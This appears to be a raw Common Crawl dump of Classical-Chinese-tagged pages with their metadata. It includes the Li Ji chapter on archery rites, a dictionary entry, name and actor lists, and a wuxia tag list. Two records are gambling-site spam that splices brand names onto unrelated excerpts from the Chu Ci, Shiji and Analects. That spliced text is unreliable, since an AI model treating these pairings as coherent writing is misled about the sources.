義\n古者諸侯之射也。必先行燕禮。卿大夫士之射也。必先行鄕飲酒之禮。故燕禮者。所以明君臣之義也。鄕飲酒之禮者。所以明長幼之序也。言别尊卑老稚。乃後射以觀德行也。\n故射者進退周還必中禮。内志正。外體直。然後持弓矢審固。持弓矢審固。然後可以言中。此可以觀德行也。内正外直,習於禮樂有德行者。\n其節。天子以騶虞。諸侯以狸首。大夫以采蘋。士以采蘩。故明乎其節之志。以不失其事。則功成而德行立。德行立則無暴亂之禍。功成則國安。故曰。射者。所以觀盛德也。騶虞。采蘋。采蘩。今詩篇名也。狸首亡也。\n是故古者。天子以射選諸侯卿大夫士。射者男子之事。因而飾之以禮樂也。故事之盡禮樂而可數爲以立德行者。莫若射。故聖王務焉。選士者先考德行。乃後决之射也。男子生而有射事。長學禮樂以飾之。\n是故古者天子之制。諸侯歲獻貢士於天子。天子試之於射宫。觀其容體。比於禮。其節比於樂。而中多者。得與於祭。其容體不比於禮。其節不比於樂。而中少者。不得與於祭。數與於祭而君有慶。數不與於祭而君有讓。數有慶而益地。數有讓而削地。故曰。天子之大射。謂之射侯。射侯者。射爲諸侯也。射中。則得爲諸侯。射不中。則不得爲諸侯。大射謂將祭擇士之射也。得爲諸侯。謂有慶也。不得爲諸侯。謂有讓也。\n故射者仁之道也。求正諸己。己正而後發。發而不中。則不怨勝者。反求諸己而已矣。孔子曰。君子無所争。必也射乎。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0021717.html","date":"2017-04-24T22:49:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917119995.14\/warc\/CC-MAIN-20170423031159-00278-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.6853867769,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6853867769241333, \"cmn_Hani_score\": 0.16282625496387482, \"nan_Hani_score\": 0.06892424821853638, \"jpn_Jpan_score\": 0.031124619767069817, \"wuu_Hani_score\": 0.021255603060126305}","num_words":148,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":0.686,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n黄庭坚 李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 司马迁\n水调歌头·游览 瑶草一何碧,春入武陵溪。溪上桃花无数,枝上有黄鹂。我欲穿花寻路,直入白云深处,浩气展虹霓。只恐花深里,红露湿人衣。坐玉石,倚玉枕,拂金徽。谪仙何处?无人伴我白螺杯。我为灵芝仙草,不为朱唇丹脸,长啸亦...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&poet_id=kTNGURwh16&poet_idLabel=%E9%BB%84%E5%BA%AD%E5%9D%9A.htm","date":"2020-01-25T15:20:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251672537.90\/warc\/CC-MAIN-20200125131641-20200125160641-00460.warc.gz","language":"lzh","language_score":0.6716689467,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6716689467430115, \"cmn_Hani_score\": 0.20751310884952545, \"nan_Hani_score\": 0.06230766698718071, \"wuu_Hani_score\": 0.04101765155792236, \"yue_Hani_score\": 0.013051521964371204}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.727,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n郭俊鸿 郭子明 郭明哲 郭园 郭禹溪 郭瑜君 郭思禅 郭钧 郭仪桦 郭国范 郭坤灿 郭光耀 郭天晓 郭顺平 郭玉喜 郭凡榕 郭海婴 郭臣 郭疏瑾 郭艺林 郭瀚之 郭月强 郭延湖 郭其智 郭诣 郭浩程 郭令亚 郭智盟 郭忆静 郭宣玮 郭伶俐 郭斯彤 郭欣哲 郭桂淞 郭开新 郭亚瓯 郭鸣 郭佾 郭妙用 郭皓洋 郭国俊 郭桂纶 郭池良 郭翌睿 郭卓齐 郭逸明 郭呈君 郭晓晖 郭冰锋 郭嘉奇 郭容余 郭雨彤 郭学进 郭旅研 郭云鹏 郭泽晨 郭昱 郭友飞 郭锦南 郭青 郭筠麟 郭河吟 郭茗杰 郭若水 郭鹳 郭愈博 郭剑 郭名财 郭智超 郭桥阳 郭裕敏 郭中恺 郭真真 郭小华 郭郴杰 郭立峰 郭晨 郭荣辉 郭黛宁 郭士华 郭战 郭冲 郭辰昕 郭柯琦 郭丽敏 郭临 郭圆苑 郭星霖 郭兰禹 郭一波 郭俊 郭光秀 郭东良 郭熙雅 郭祺惟 郭天韵 郭沧庆郭旭北 郭贤松 郭鹏飞 郭佳贝 郭恒旭 郭益民 郭寒江 郭妤檬 郭珂海 郭涵语 郭钢 郭子涵 郭汹 郭庆海 郭晓航 郭小峰 郭一索 郭以凡 郭骏宇 郭玉申 郭锦城 郭雨震 郭光弟 郭琰严 郭睿绎 郭东风 郭士兵 郭烈 郭翰礼 郭羿尧 郭淑燃 郭洪运 郭凯邦 郭欣言 郭淑明 郭栗汪 郭少航 郭以恒 郭海海 郭译匀 郭志鹏 郭子昆 郭宗正 郭凡 郭兆惺 郭智荣 郭茂发 郭国峰郭文韬 郭楚淇 郭金坤 郭鸿智 郭亦白 郭峰岗 郭嘉棚 郭昭 郭枧岚 郭翌豪 郭宇 郭杰敏 郭达锋 郭樟建 郭玟陆 郭俊楠 郭贤义 郭恺之 郭其国 郭俊波 郭昊鸣 郭颜旭 郭永桥 郭钿漪 郭恒立 郭轶辉 郭宏发 郭一七 郭桓丞 郭宇亮 郭圣恩 郭文成 郭大鹏 郭太来 郭正轩 郭泳熙 郭添来 郭俭平 郭晨迪 郭岳新 郭中泽 郭英杰 郭俊德 郭小兵 郭伊凡 郭子雄 郭家树 郭泓鑫 郭胺东 郭荣辉 郭莫然 郭涛畅 郭小青 郭旭海 郭天行 郭国伪 郭益智 郭安缇 郭启人 郭登平 郭今君 郭子飞 郭欢郭旭升 郭彬翔 郭守明 郭日明 郭晓嘉 郭温 郭一撷 郭奕俊 郭轶群 郭海东 郭竣雁 郭震荣 郭继晨 郭庆豪 郭甲奇 郭习向 郭占峰 郭真 郭可延 郭鹏六 郭文泽 郭加林 郭和云 郭遴晓 郭雨洋 郭天佳 郭琰玮 郭彭方 郭子同 郭慧哲 郭金钍 郭祥滨 郭建东 郭祺昭 郭炳宇 郭玉睿 郭子林 郭浩伟 郭士达 郭兴边 郭海洋 郭珂清 郭祥寅 郭子名 郭逸昂 郭汶京 郭绍晖 郭天乐 郭振辉 郭维海 郭日聪 郭晗宇 郭玉徽 郭宇新 郭博琨 郭睿安 郭玮城 郭湘明 郭思源 郭明裁 郭庆杨 郭平亮 郭涨涛 郭厚维 郭宗盛 郭路凯","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.joshuats.com\/54721\/1317.html","date":"2020-01-21T05:34:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250601615.66\/warc\/CC-MAIN-20200121044233-20200121073233-00426.warc.gz","language":"lzh","language_score":0.6540676951,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6540676951408386, \"cmn_Hani_score\": 0.3219360411167145, \"nan_Hani_score\": 0.0156319011002779}","num_words":272,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.646,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门威尼人登录青海分区分级推进农牧业生产防疫和经济两手抓\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n鄙人有言曰:\"何知仁义,已飨其利者为有德。\"故伯夷丑周,饿死首阳山,而文武不以其故贬王;跖、蹻暴戾,其徒诵义无穷。由此观之,\"窃钩者诛,窃国者侯,侯之门仁义存\",非虚言也。\n王戊立二十年,冬,坐为薄太后服私奸,削东海郡。春,戊与吴王合谋反,其相张尚、太傅赵夷吾谏,不听。戊则杀尚、夷吾,起兵与吴西攻梁,破棘壁。至昌邑南,与汉将周亚夫战。汉绝吴楚粮道,士卒饥,吴王走,楚王戊自杀,军遂降汉。\n季布母弟丁公,为楚将。丁公为项羽逐窘高祖彭城西,短兵接,高祖急,顾丁公曰:\"两贤岂相戹哉\n於是天子沛然改容,曰:\"愉乎,朕其试哉!\"乃迁思回虑,总公卿之议,询封禅之事,诗大泽之博,广符瑞之富。乃作颂曰:","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/yqjq8.huayanjiaoyu.cn\/ESREI64842.html","date":"2020-02-20T20:07:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145282.57\/warc\/CC-MAIN-20200220193228-20200220223228-00066.warc.gz","language":"lzh","language_score":0.4751299322,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4751299321651459, \"cmn_Hani_score\": 0.3288439214229584, \"nan_Hani_score\": 0.0574115589261055, \"zxx_Latn_score\": 0.03310006484389305, \"wuu_Hani_score\": 0.01813448965549469, \"jpn_Jpan_score\": 0.013986177742481232}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":500.0,"cluster_detection":1} +{"text":"万博manbetx平台网址国际市场波动加剧险资大佬论道应对之策\n子曰:\"其身正,不令而行;其身不正,虽令不从。\"\n楚狂接舆歌而过孔子,曰:\"凤兮凤兮,何德之衰!往者不可谏兮,来者犹可追也!已而已而,今之从政者殆而!\"孔子下,欲与之言。趋而去,弗得与之言。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n太史公曰:韩厥之感晋景公,绍赵孤之子武,以成程婴、公孙杵臼之义,此天下之阴德也。韩氏之功,於晋未睹其大者也。然与赵、魏终为诸侯十馀世,宜乎哉!\n太史公曰:仲尼有言曰\"君子欲讷於言而敏於行\",其万石、建陵、张叔之谓邪?是以其教不肃而成,不严而治。塞侯微巧,而周文处讇,君子讥之,为其近於佞也。然斯可谓笃行君子矣!","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/hjiay.nike-shox.net\/AG5xtq6\/69297.html","date":"2020-04-01T03:43:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370505366.8\/warc\/CC-MAIN-20200401034127-20200401064127-00501.warc.gz","language":"lzh","language_score":0.5760569572,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.576056957244873, \"cmn_Hani_score\": 0.25974905490875244, \"nan_Hani_score\": 0.018871642649173737, \"und_Hluw_score\": 0.018589796498417854, \"zxx_Latn_score\": 0.014941206201910973, \"und_Tang_score\": 0.012180441990494728, \"wuu_Hani_score\": 0.011440928094089031, \"yue_Hani_score\": 0.011309303343296051, \"jpn_Jpan_score\": 0.011230077594518661}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.246,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【注音】\n【拼音】 miáo ér bù xiù\n基本釋義\n苗:指莊稼出苗;秀:莊稼吐穗開花。指莊稼出了苗而沒有抽穗。比喻人有好的資質,卻沒有成就。\n相反詞\n禾苗成長而不吐花。比喻才質雖好而沒有成就,常指聰明而不努力的人。論語.子罕:「苗而不秀者有矣夫,秀而不實者有矣夫。」\n只長禾苗而不開花吐穗。比喻才質雖好卻沒有成就,常指虛有其表的人。\n[造句]一個人光有才智而不肯努力,終究是苗而不秀,難成大器。\n您可能感興趣的詞語\n苗而不秀 秀而不實 怨而不言 威而不猛 勿以善小而不為 引而不發 言而不信 言之無文,行而不遠 已而不登 哀而不傷 三過其門而不入 死而不朽 死而不悔 存而不論 殘而不廢 遵而不失 述而不作 疏而不漏 蛇無頭而不行,鳥無翅而不飛 視而不見,聽而不聞 視而不見 食而不化 施而不費 出淤泥而不染 周而不比 置而不問 質而不俚 執而不化 直而不挺 知而不言 知其然而不知其所以然 學而不厭 繫而不食 習而不察 群而不黨 鍥而不捨","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.3du.tw\/dict\/%E8%8B%97%E8%80%8C%E4%B8%8D%E7%A7%80","date":"2020-07-11T00:36:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655919952.68\/warc\/CC-MAIN-20200711001811-20200711031811-00140.warc.gz","language":"lzh","language_score":0.8994594216,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8994594216346741, \"cmn_Hani_score\": 0.08751208335161209, \"nan_Hani_score\": 0.012332645244896412}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.941,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n森美 黃翠如 江嘉敏 張國強 馬海倫 魯振順 盧宛茵 周志康 黃子雄 吳瑞庭 唐嘉麟 吳嘉儀 林韋辰 曾航生 黎彼得 於洋 譚凱琪 郭少芸 蕭徽勇 李綺雯 黃煒溏 雪妮 徐忠信 鄭啓泰 譚偉權 劉芷希 王致迪 鄭詠謙 崔錦棠 陳婉婷 袁鎮業 丁樂鍶 陳泓達 錢悅\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E7%8E%8B%E8%87%B4%E8%BF%AA------------.html","date":"2020-10-01T01:36:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402130531.89\/warc\/CC-MAIN-20200930235415-20201001025415-00146.warc.gz","language":"lzh","language_score":0.6036118269,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6036118268966675, \"cmn_Hani_score\": 0.2775518000125885, \"nan_Hani_score\": 0.10190919786691666, \"yue_Hani_score\": 0.01586361974477768}","num_words":200,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.656,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n周祉君 何佩珉 顧冠忠 張松枝 李牧芸\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n譚俊彥 曹永廉 姚子羚 湯洛雯 陳凱琳 張振朗 胡諾言 傅嘉莉 張秀文 龔嘉欣 楊玉梅 張穎康 曾敏 李嘉 李日升 譚坤倫 呂珊 陳嘉佳 張國強 蔡國慶 馮素波 吳沚默 吳家樂 袁文傑 郭子豪 範文雅 陳自瑤 陳婉婷 李美慧 何佩珉 葉蒨文 楊詩敏 張彥博 梁舜燕 譚凱琪 黃子恆 李成昌 羅天宇 李綺雯 袁鎮業 郭千瑜 謝雪心 余子明 陳嘉輝 羅樂林 文雪兒 何遠東 杜燕歌 歐瑞偉 李岡龍 煒烈 陳狄克 杜大偉 丁樂鍶 莫偉文 魯振順 莫家淦 胡定欣 李天縱 招浩明 黃耀英 程皓 鄭恕峯 蔡國威 何廣沛\n敖嘉年 何佩珉 陳觀泰 莫美林 林子善\n苗僑偉 陳豪 宣萱 袁偉豪 周柏豪 黃翠如 許紹雄 麥明詩 何佩珉\n譚俊彥 關楚耀 朱晨麗 傅嘉莉 胡諾言 沈卓盈 楊玉梅 朱敏瀚 泰臣 林師傑 羅浩銘 溫家偉 陳嘉輝 祝文君 楊證樺 姚浩政 戴耀明 鄭家生 李君妍 楊嘉欣 白雲 梁珈詠 歐陽巧瑩 劉天龍 鄭恕峯 潘冠霖 李漫芬 方紹聰 曾慧雲 蔡國威 鄧永健 範文雅 姚嘉妮 何佩珉 關浩揚 袁鎮業 衛志豪 張智軒\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n陳百祥 何浩文 鄭則仕 湯鎮業 李施嬅 蔡瀚億 文凱玲 馬海倫 吳業坤 莊思敏 張慧儀 王子涵 袁鎮業 秦沛 利穎怡 梁敏儀 陳雅思 劉溫馨 謝雪心 曾健明 吳雲甫 秦煌 盧峻峯 楊瑞麟 布偉傑 李岡龍 鄭啓泰 司徒暉 溫家偉 何佩珉 康華 金燕玲 張智軒\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E4%BD%95%E4%BD%A9%E7%8F%89------------.html","date":"2020-10-27T03:47:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107893011.54\/warc\/CC-MAIN-20201027023251-20201027053251-00356.warc.gz","language":"lzh","language_score":0.8109642267,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8109642267227173, \"cmn_Hani_score\": 0.11960545182228088, \"nan_Hani_score\": 0.06251581013202667}","num_words":312,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.831,"perplexity_score":500.0,"cluster_detection":1} +{"text":"陜西漢中變壓器智源特變有限公司!\n紅色星號(*)項為必填項\n地區分站:陜西 西安 漢中 甘肅 蘭州 寧夏 銀川 青海 西寧 云南 昆明 貴州 貴陽 烏魯木齊 新疆 四川 成都 江西 南昌 廣西 南寧 廣東 廣州 深圳 湖南 長沙 河北 武漢 福建 福州 浙江 寧波 杭州 安徽 合肥 山東 濟南 青島 江蘇 南京 內蒙古 呼和浩特 包頭 黑龍江 哈爾濱 吉林 長春\n友情鏈接:北京打樁公司 高強度鋼高頻焊管 倒置金相顯微鏡 口罩生產廠家 鋁型材廠家 廣西廚房設備","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/www.cal12.com\/ly.html","date":"2022-12-03T15:36:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710933.89\/warc\/CC-MAIN-20221203143925-20221203173925-00647.warc.gz","language":"lzh","language_score":0.6481074691,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6481074690818787, \"cmn_Hani_score\": 0.1891791671514511, \"yue_Hani_score\": 0.10138902068138123, \"nan_Hani_score\": 0.05822106823325157}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.744,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n海神 雲行雨飄 五帝鐧 袖裡乾坤 十住大乘功 倪匡 典韋 黯然銷魂掌 星彩 日月麗天大法 蘇荃 五絕神功 黑鬼爪 旋風十八矛 魯肅 石雙英 雪山飛狐 諸葛亮北伐 陳近南 浣花洗劍錄 十二都天神功 鳥渡術 韓小瑩 張翼 九難 楊頂天 龜息功 銀龍手 完顏洪烈 大地飛鷹 先天氣功 許褚 日月神教 二宮之爭 白世鏡 吳六奇 鳳天南 呂壹專權 五行劍法 法顯 魔心連環 劍毒梅香 鎖子縮骨功 炎元真氣 隆中對 慈航劍典 雌雄雙股劍 鳩摩智 福康安 奼女心法 張飛 毛玠 血鸚鵡 蕭摩訶 月異星邪 武三通 滿寵 楚留香新傳之借屍還魂 凌統 張三李四 阿朱 曹純 雙修大法 孤星傳 交阯之亂 飛鷹十三刺 飛狐外傳 殷離 朱子柳 華山派 袁承志 飛龍五式 硃砂掌 迷蹤七變 楊過 葵花寶典 蔣濟 枯木神功 軟蝟甲 封天閉地 龐統 齊桓公 大開碑手 董卓討伐戰 文醜 金蛇劍 丁不四 不死印法 摘心手 桃花仙 古龍作品 尹克西 駱冰 張無忌 王元姬 一指頭禪 鐵蒺藜骨朵 七殺拳 仙門劍訣 孫尚香 流星蝴蝶劍 蔡文姬 歸辛樹 飄香劍雨 梁羽生 逍遙訣 楊康 郭解 鬼王鞭 魅變術 三尸腦神丹 聖火令 九玄大法 獨孤九劍 李廣 邊城浪子 天魔手七十二式 關羽 屯田制 玩命拳 裂馬槍 天魔心法 司馬昭 楊儀 喬鋒 荊州 石破天 勞德諾 定逸師太 楚留香新傳之新月傳奇 無想奼女大法 曹操討伐袁術之戰 大唐雙龍傳 劍客行 鄧艾 歐陽克 儀琳 翔鷹劍法 鍾會之亂 枯禪玄功 費禕 楊成協 陳到 衛青 幻影劍法 九月鷹飛 無塵道長 摩尼教 殭屍拳 捨身大法 赤壁之戰 西蜀地形圖 阿珂 游坦之 火併蕭十一郎 趙敏 慕容博 天鷹教 血海飄香 移花接玉 瀟湘子 怒劍狂花 陳宮 九韶定音劍 合淝之戰 龍門鏢局 東興之戰 章進 常赫志 周瑜 樂進 飛天狐狸 黃鍾公 夏侯淵 天地明環 于禁 廖化 歡樂英雄 天山童姥 于萬亭 鄧芝 小龍女 桃花島 劉表 尋秦記 梅花鉤 蔣幹 倉亭之戰 挾刀揉手 降龍十八掌 失魂引 徐盛 越女劍 九字真言手印 魏滅蜀之戰 禿筆翁 孫皓暴政 碧落紅塵 孫權 劍花煙雨江南 郭襄 刀劍雙殺七七四十九式 童子功十三太保橫練 曹叡 枯榮大師 梅花鉤 崑崙派 金針開穴之法 霍都 不碎金剛 阿青 霍青桐 夏侯霸 鬼火十三拍 劉備稱帝 任我行 降龍伏虎羅漢拳 王重陽 桃枝仙 七殺手 七傷拳 譙周 丈八蛇矛 打狗棒法 太清元功 鄭丰 神刀斬 武田信玄 韋小寶 五毒神功 嵩山十三太保 蒼穹神劍 鍾會 靈犀一指 白玉老虎 嵩山派 花間十二支 明玉功 古龍 徐天宏 三十六招鳥啄擊法 散手八撲 水笙 起風了 黃忠 小喬 大喬 段正淳 貝海石 丹心術 織女劍法 馬超 康熙 黃藥師 凌波微步 木婉清 心硯 青龍偃月刀 燎原百擊 七种武器 斷絕神功 楚留香傳奇 韋春花 方怡 白阿繡 荀彧 幻魔身法 多情劍客無情劍 曹睿 連城訣 呂玲綺 穆念慈 定閒師太 關銀屏 丁典 射鵰三部曲 華山論劍 蒼穹十三劍 破蓮八著 紫氣天羅 兵器譜 牛郎一百零八棍 天一掌 全真七子 鹿鼎記 六脈神劍 無想十法 辟邪劍法 玄鐵重劍 紫霞神功 岳不羣 凝真九變 梅超風 書劍恩仇錄 奕劍術 諸葛恪 荀攸 賈充 曹真 風萍掌 文泰來 金絲綿掌 霓裳仙舞 潼關之戰 鐵脊蛇矛 彈指神通 第六天魔王 陸小鳳傳奇 蝶雙飛 任盈盈 南匈奴 姜維北伐 梵我如一 絕代雙驕 塌上策 溫瑞安 瘋魔上天下地一百零七撃 太極七截棍 魏晉玄學 覆雨翻雲 崆峒派 武林外史 胡斐 黃蓋 沙影二十八劍 吸星大法 逍遙拆 大人物 金錢幫 裘千仞 楚留香新傳 諸葛瞻 龍吟曲 道心種魔大法 南皮之戰 劉備 竹節鞭 殘金缺玉 沖虛道長 曹爽專權 恆山派 蝴蝶穿花七十二式 丐幫 黃皓 程普 汪劍通 嫁衣神功 白狼山之戰 群狐 刑遁術 張春華 沉沙劍法 大元丹法 黃蓉 諸葛誕 燕子雙飛 賈詡 伏虎神拳 空城計 張召重 情人箭 丁璫 日月當空 滅絕師太 李元霸 嫁衣神功 夷陵之戰 銅錘 